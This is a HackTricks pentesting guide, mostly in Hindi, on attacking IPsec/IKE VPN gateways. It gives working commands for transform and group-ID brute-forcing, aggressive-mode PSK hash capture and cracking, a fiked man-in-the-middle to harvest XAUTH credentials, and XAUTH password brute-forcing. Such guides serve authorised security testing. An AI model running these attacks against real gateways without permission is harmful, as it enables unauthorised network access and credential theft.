hacktricks/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md

240 lines
31 KiB
Markdown

# 500/udp - Pentesting IPsec/IKE VPN
{{#include ../banners/hacktricks-training.md}}
## Basic Information
**IPsec** को नेटवर्कों (LAN-to-LAN) के बीच और दूरस्थ उपयोगकर्ताओं से नेटवर्क गेटवे (दूरस्थ पहुंच) तक संचार को सुरक्षित करने के लिए मुख्य तकनीक के रूप में व्यापक रूप से मान्यता प्राप्त है, जो उद्यम VPN समाधानों के लिए रीढ़ के रूप में कार्य करता है।
दो बिंदुओं के बीच **सुरक्षा संघ (SA)** की स्थापना **IKE** द्वारा प्रबंधित की जाती है, जो ISAKMP के तहत कार्य करता है, जो प्रमाणीकरण और कुंजी विनिमय के लिए डिज़ाइन किया गया एक प्रोटोकॉल है। यह प्रक्रिया कई चरणों में होती है:
- **चरण 1:** दो अंत बिंदुओं के बीच एक सुरक्षित चैनल बनाया जाता है। यह एक प्री-शेयर की (PSK) या प्रमाणपत्रों के उपयोग के माध्यम से प्राप्त किया जाता है, मुख्य मोड का उपयोग करते हुए, जिसमें तीन संदेश जोड़े शामिल होते हैं, या **आक्रामक मोड**
- **चरण 1.5:** हालांकि यह अनिवार्य नहीं है, इस चरण को विस्तारित प्रमाणीकरण चरण के रूप में जाना जाता है, जो उपयोगकर्ता की पहचान की पुष्टि करता है जो कनेक्ट करने का प्रयास कर रहा है, एक उपयोगकर्ता नाम और पासवर्ड की आवश्यकता होती है।
- **चरण 2:** यह चरण डेटा को **ESP** और **AH** के साथ सुरक्षित करने के लिए पैरामीटर पर बातचीत करने के लिए समर्पित है। यह **परफेक्ट फॉरवर्ड सीक्रेसी (PFS)** सुनिश्चित करने के लिए चरण 1 में उपयोग किए गए एल्गोरिदम से भिन्न एल्गोरिदम के उपयोग की अनुमति देता है, जिससे सुरक्षा बढ़ती है।
**डिफ़ॉल्ट पोर्ट:** 500/udp
## **nmap** का उपयोग करके सेवा का **खोज** करें
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **एक मान्य परिवर्तन खोजना**
IPSec कॉन्फ़िगरेशन केवल एक या कुछ परिवर्तनों को स्वीकार करने के लिए तैयार किया जा सकता है। एक परिवर्तन मानों का एक संयोजन है। **प्रत्येक परिवर्तन** में DES या 3DES जैसे **एन्क्रिप्शन एल्गोरिदम**, SHA या MD5 जैसे **अखंडता एल्गोरिदम**, एक पूर्व-शेयर की के रूप में **प्रमाणीकरण प्रकार**, Diffie-Hellman 1 या 2 के रूप में कुंजी **वितरण एल्गोरिदम** और 28800 सेकंड के रूप में **जीवनकाल** जैसे कई गुण होते हैं।
फिर, आपको जो पहला काम करना है वह है **एक मान्य परिवर्तन खोजना**, ताकि सर्वर आपसे बात कर सके। ऐसा करने के लिए, आप उपकरण **ike-scan** का उपयोग कर सकते हैं। डिफ़ॉल्ट रूप से, Ike-scan मुख्य मोड में काम करता है, और एक पैकेट को गेटवे पर ISAKMP हेडर और **इसके अंदर आठ परिवर्तनों के साथ** एकल प्रस्ताव के साथ भेजता है।
प्रतिक्रिया के आधार पर, आप एंडपॉइंट के बारे में कुछ जानकारी प्राप्त कर सकते हैं:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
जैसा कि आप पिछले उत्तर में देख सकते हैं, एक फ़ील्ड है जिसे **AUTH** कहा जाता है और इसका मान **PSK** है। इसका मतलब है कि vpn को एक प्रीशेयर की का उपयोग करके कॉन्फ़िगर किया गया है (और यह एक पेंटेस्टर के लिए वास्तव में अच्छा है)।\
**अंतिम पंक्ति का मान भी बहुत महत्वपूर्ण है:**
- _0 returned handshake; 0 returned notify:_ इसका मतलब है कि लक्ष्य **एक IPsec गेटवे नहीं है**
- _**1 returned handshake; 0 returned notify:**_ इसका मतलब है कि **लक्ष्य IPsec के लिए कॉन्फ़िगर किया गया है और IKE वार्ता करने के लिए इच्छुक है, और आप द्वारा प्रस्तावित एक या अधिक ट्रांसफॉर्म स्वीकार्य हैं** (एक मान्य ट्रांसफॉर्म आउटपुट में दिखाया जाएगा)।
- _0 returned handshake; 1 returned notify:_ VPN गेटवे तब एक नोटिफाई संदेश के साथ प्रतिक्रिया करते हैं जब **कोई भी ट्रांसफॉर्म स्वीकार्य नहीं है** (हालांकि कुछ गेटवे ऐसा नहीं करते हैं, इस मामले में आगे विश्लेषण और एक संशोधित प्रस्ताव का प्रयास किया जाना चाहिए)।
फिर, इस मामले में हमारे पास पहले से ही एक मान्य ट्रांसफॉर्मेशन है लेकिन यदि आप तीसरे मामले में हैं, तो आपको **एक मान्य ट्रांसफॉर्मेशन खोजने के लिए थोड़ा ब्रूट-फोर्स करना होगा:**
सबसे पहले, आपको सभी संभावित ट्रांसफॉर्मेशन बनाने की आवश्यकता है:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
और फिर प्रत्येक को ike-scan का उपयोग करके ब्रूट-फोर्स करें (इसमें कई मिनट लग सकते हैं):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
यदि ब्रूट-फोर्स काम नहीं करता है, तो शायद सर्वर बिना हैंडशेक के भी मान्य ट्रांसफॉर्म्स पर प्रतिक्रिया दे रहा है। फिर, आप आक्रामक मोड का उपयोग करके वही ब्रूट-फोर्स आजमा सकते हैं:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
उम्मीद है कि **एक मान्य परिवर्तन वापस दर्शाया जाएगा**।\
आप [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) का उपयोग करके **समान हमला** करने की कोशिश कर सकते हैं।\
आप [**ikeforce**](https://github.com/SpiderLabs/ikeforce) के साथ परिवर्तनों को ब्रूट फोर्स करने की भी कोशिश कर सकते हैं:
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../images/image (617).png>)
**DH समूह: 14 = 2048-बिट MODP** और **15 = 3072-बिट**\
**2 = HMAC-SHA = SHA1 (इस मामले में)। `--trans` प्रारूप है $Enc,$Hash,$Auth,$DH**
Cisco यह संकेत करता है कि DH समूह 1 और 2 का उपयोग करने से बचें क्योंकि वे पर्याप्त मजबूत नहीं हैं। विशेषज्ञों का मानना है कि **जिन देशों के पास बहुत सारे संसाधन हैं, वे आसानी से इन कमजोर समूहों का उपयोग करने वाले डेटा के एन्क्रिप्शन को तोड़ सकते हैं।** यह एक विशेष विधि का उपयोग करके किया जाता है जो उन्हें कोड को जल्दी से क्रैक करने के लिए तैयार करती है। हालांकि इस विधि को स्थापित करने में बहुत पैसा लगता है, यह इन शक्तिशाली देशों को वास्तविक समय में एन्क्रिप्टेड डेटा पढ़ने की अनुमति देती है यदि यह किसी कमजोर समूह (जैसे 1,024-बिट या छोटे) का उपयोग कर रहा है।
### सर्वर फिंगरप्रिंटिंग
फिर, आप ike-scan का उपयोग करके **उपकरण के विक्रेता** का पता लगाने की कोशिश कर सकते हैं। उपकरण एक प्रारंभिक प्रस्ताव भेजता है और पुनः खेलने से रुक जाता है। फिर, यह प्राप्त **संदेशों** के बीच **समय** के अंतर का **विश्लेषण** करेगा और मेल खाने वाले प्रतिक्रिया पैटर्न के साथ, पेंटेस्टर सफलतापूर्वक VPN गेटवे विक्रेता का फिंगरप्रिंट बना सकता है। इसके अलावा, कुछ VPN सर्वर IKE के साथ वैकल्पिक **विक्रेता आईडी (VID) पेलोड** का उपयोग करेंगे।
**यदि आवश्यक हो तो मान्य परिवर्तन निर्दिष्ट करें** (using --trans)
यदि IKE विक्रेता का पता लगाता है, तो यह इसे प्रिंट करेगा:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
यह nmap स्क्रिप्ट _**ike-version**_ के साथ भी प्राप्त किया जा सकता है
## सही ID (समूह नाम) खोजना
हैश को कैप्चर करने की अनुमति पाने के लिए आपको एक मान्य परिवर्तन की आवश्यकता है जो आक्रामक मोड का समर्थन करता है और सही ID (समूह नाम) होना चाहिए। आपको शायद सही समूह नाम नहीं पता होगा, इसलिए आपको इसे ब्रूट-फोर्स करना होगा।\
इसके लिए, मैं आपको 2 विधियाँ सुझाऊंगा:
### ike-scan के साथ ID का ब्रूटफोर्सिंग
सबसे पहले, एक नकली ID के साथ एक अनुरोध करने की कोशिश करें हैश इकट्ठा करने के लिए ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
यदि **कोई हैश वापस नहीं किया गया**, तो शायद यह ब्रूट फोर्सिंग का तरीका काम करेगा। **यदि कुछ हैश वापस किया गया, तो इसका मतलब है कि एक फर्जी हैश एक फर्जी आईडी के लिए वापस भेजा जाएगा, इसलिए यह तरीका आईडी को ब्रूट-फोर्स करने के लिए विश्वसनीय नहीं होगा।** उदाहरण के लिए, एक फर्जी हैश वापस किया जा सकता है (यह आधुनिक संस्करणों में होता है):
![](<../images/image (917).png>)
लेकिन यदि जैसा कि मैंने कहा, कोई हैश वापस नहीं किया गया, तो आपको ike-scan का उपयोग करके सामान्य समूह नामों को ब्रूट-फोर्स करने का प्रयास करना चाहिए।
यह स्क्रिप्ट **संभावित आईडी को ब्रूट-फोर्स करने का प्रयास करेगी** और उन आईडी को वापस करेगी जहाँ एक मान्य हैंडशेक वापस किया गया है (यह एक मान्य समूह नाम होगा)।
यदि आपने एक विशिष्ट परिवर्तन खोजा है, तो इसे ike-scan कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है, तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक उनमें से एक सही तरीके से काम न करे)।
आप सामान्य समूह नामों को ब्रूट-फोर्स करने के लिए [ikeforce का शब्दकोश](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) या [seclists में वाला](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) उपयोग कर सकते हैं:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
{% file src="../images/vpnIDs.txt" %}
### Iker के साथ ID का ब्रूटफोर्सिंग
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) भी संभावित समूह नामों को ब्रूटफोर्स करने के लिए **ike-scan** का उपयोग करता है। यह **ike-scan** के आउटपुट के आधार पर **एक मान्य ID खोजने** के लिए अपनी विधि का पालन करता है।
### ikeforce के साथ ID का ब्रूटफोर्सिंग
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) एक उपकरण है जिसका उपयोग **IDs को ब्रूट फोर्स करने** के लिए किया जा सकता है। यह उपकरण **विभिन्न कमजोरियों का लाभ उठाने** की कोशिश करेगा जो **एक मान्य और गैर-मान्य ID के बीच अंतर करने** के लिए उपयोग की जा सकती हैं (इसमें झूठे सकारात्मक और झूठे नकारात्मक हो सकते हैं, इसलिए मैं संभवतः ike-scan विधि का उपयोग करना पसंद करता हूं)।
डिफ़ॉल्ट रूप से **ikeforce** शुरुआत में कुछ यादृच्छिक IDs भेजेगा ताकि सर्वर के व्यवहार की जांच की जा सके और उपयोग करने के लिए रणनीति निर्धारित की जा सके।
- **पहली विधि** समूह नामों को **खोजने** के द्वारा ब्रूट-फोर्स करना है **Dead Peer Detection DPD** की जानकारी के लिए Cisco सिस्टमों की (यह जानकारी केवल तब सर्वर द्वारा पुनः भेजी जाती है जब समूह नाम सही होता है)।
- उपलब्ध **दूसरी विधि** यह है कि **प्रत्येक प्रयास के लिए भेजे गए उत्तरों की संख्या की जांच करें** क्योंकि कभी-कभी सही ID का उपयोग करने पर अधिक पैकेट भेजे जाते हैं।
- **तीसरी विधि** **गलत ID के जवाब में "INVALID-ID-INFORMATION" की खोज** पर आधारित है।
- अंत में, यदि सर्वर जांचों के लिए कुछ भी पुनः नहीं भेजता है, तो **ikeforce** सर्वर को ब्रूट फोर्स करने की कोशिश करेगा और जांच करेगा कि जब सही ID भेजी जाती है तो सर्वर कुछ पैकेट के साथ पुनः भेजता है।\
स्पष्ट है, ID का ब्रूट फोर्सिंग का लक्ष्य **PSK** प्राप्त करना है जब आपके पास एक मान्य ID हो। फिर, **ID** और **PSK** के साथ आपको XAUTH को ब्रूटफोर्स करना होगा (यदि यह सक्षम है)।
यदि आपने एक विशिष्ट परिवर्तन खोजा है तो इसे ikeforce कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक उनमें से एक सही ढंग से काम न करे)।
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Sniffing ID
(From the book **Network Security Assessment: Know Your Network**): यह संभव है कि VPN क्लाइंट और सर्वर के बीच कनेक्शन को स्निफ़ करके मान्य उपयोगकर्ता नाम प्राप्त किए जा सकें, क्योंकि पहले आक्रामक मोड पैकेट जिसमें क्लाइंट ID होती है, स्पष्ट रूप से भेजी जाती है।
![](<../images/image (891).png>)
## Capturing & cracking the hash
अंत में, यदि आपने एक **मान्य परिवर्तन** और **समूह नाम** पाया है और यदि **आक्रामक मोड की अनुमति है**, तो आप बहुत आसानी से क्रैक करने योग्य हैश प्राप्त कर सकते हैं:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
हैश _hash.txt_ के अंदर सहेजा जाएगा।
आप **psk-crack**, **john** ( [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) का उपयोग करते हुए) और **hashcat** का उपयोग करके हैश को **क्रैक** कर सकते हैं:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**आक्रामक मोड IKE** को **पूर्व-शेयर की (PSK)** के साथ मिलाकर **समूह प्रमाणीकरण** उद्देश्यों के लिए सामान्यतः उपयोग किया जाता है। इस विधि को **XAuth (विस्तारित प्रमाणीकरण)** द्वारा बढ़ाया गया है, जो **उपयोगकर्ता प्रमाणीकरण** की एक अतिरिक्त परत पेश करता है। ऐसा प्रमाणीकरण आमतौर पर **Microsoft Active Directory**, **RADIUS**, या समान प्रणालियों जैसी सेवाओं का उपयोग करता है।
**IKEv2** में संक्रमण करते समय, एक महत्वपूर्ण बदलाव देखा जाता है जहाँ **EAP (विस्तार योग्य प्रमाणीकरण प्रोटोकॉल)** का उपयोग **XAuth** के स्थान पर उपयोगकर्ताओं को प्रमाणीकरण करने के लिए किया जाता है। यह परिवर्तन सुरक्षित संचार प्रोटोकॉल के भीतर प्रमाणीकरण प्रथाओं में एक विकास को उजागर करता है।
### स्थानीय नेटवर्क MitM क्रेडेंशियल कैप्चर करने के लिए
तो आप _fiked_ का उपयोग करके लॉगिन का डेटा कैप्चर कर सकते हैं और देख सकते हैं कि क्या कोई डिफ़ॉल्ट उपयोगकर्ता नाम है (आपको sniffing के लिए IKE ट्रैफ़िक को `fiked` पर पुनर्निर्देशित करने की आवश्यकता है, जिसे ARP spoofing की मदद से किया जा सकता है, [अधिक जानकारी](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked एक VPN एंडपॉइंट के रूप में कार्य करेगा और XAuth क्रेडेंशियल्स को कैप्चर करेगा:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
इसके अलावा, IPSec का उपयोग करके एक MitM हमला करने की कोशिश करें और पोर्ट 500 पर सभी ट्रैफ़िक को ब्लॉक करें, यदि IPSec टनल स्थापित नहीं हो सकता है तो शायद ट्रैफ़िक स्पष्ट रूप से भेजा जाएगा।
### ikeforce के साथ XAUTH उपयोगकर्ता नाम और पासवर्ड का ब्रूट-फोर्सिंग
**XAUTH** (जब आप एक मान्य समूह नाम **id** और **psk** जानते हैं) को ब्रूट फोर्स करने के लिए, आप एक उपयोगकर्ता नाम या उपयोगकर्ता नामों की सूची और पासवर्डों की सूची का उपयोग कर सकते हैं:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
इस तरह, ikeforce प्रत्येक username:password के संयोजन का उपयोग करके कनेक्ट करने की कोशिश करेगा।
यदि आपने एक या एक से अधिक मान्य ट्रांसफॉर्म पाए हैं, तो बस उन्हें पिछले चरणों की तरह उपयोग करें।
## IPSEC VPN के साथ प्रमाणीकरण
Kali में, **VPNC** IPsec टनल स्थापित करने के लिए उपयोग किया जाता है। **प्रोफाइल** को निर्देशिका `/etc/vpnc/` में स्थित होना चाहिए। आप _**vpnc**_ कमांड का उपयोग करके इन प्रोफाइल को आरंभ कर सकते हैं।
निम्नलिखित कमांड और कॉन्फ़िगरेशन VPNC के साथ VPN कनेक्शन सेट करने की प्रक्रिया को दर्शाते हैं:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
इस सेटअप में:
- `[VPN_GATEWAY_IP]` को VPN गेटवे के वास्तविक IP पते से बदलें।
- `[VPN_CONNECTION_ID]` को VPN कनेक्शन के पहचानकर्ता से बदलें।
- `[VPN_GROUP_SECRET]` को VPN के समूह गुप्त से बदलें।
- `[VPN_USERNAME]` और `[VPN_PASSWORD]` को VPN प्रमाणीकरण क्रेडेंशियल्स से बदलें।
- `[PID]` उस प्रक्रिया ID का प्रतीक है जो `vpnc` प्रारंभ करते समय असाइन की जाएगी।
VPN कॉन्फ़िगर करते समय प्लेसहोल्डर्स को बदलने के लिए वास्तविक, सुरक्षित मानों का उपयोग सुनिश्चित करें।
## संदर्भ सामग्री
- [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
- [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
- [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf)
- Network Security Assessment 3rd Edition
## Shodan
- `port:500 IKE`
{{#include ../banners/hacktricks-training.md}}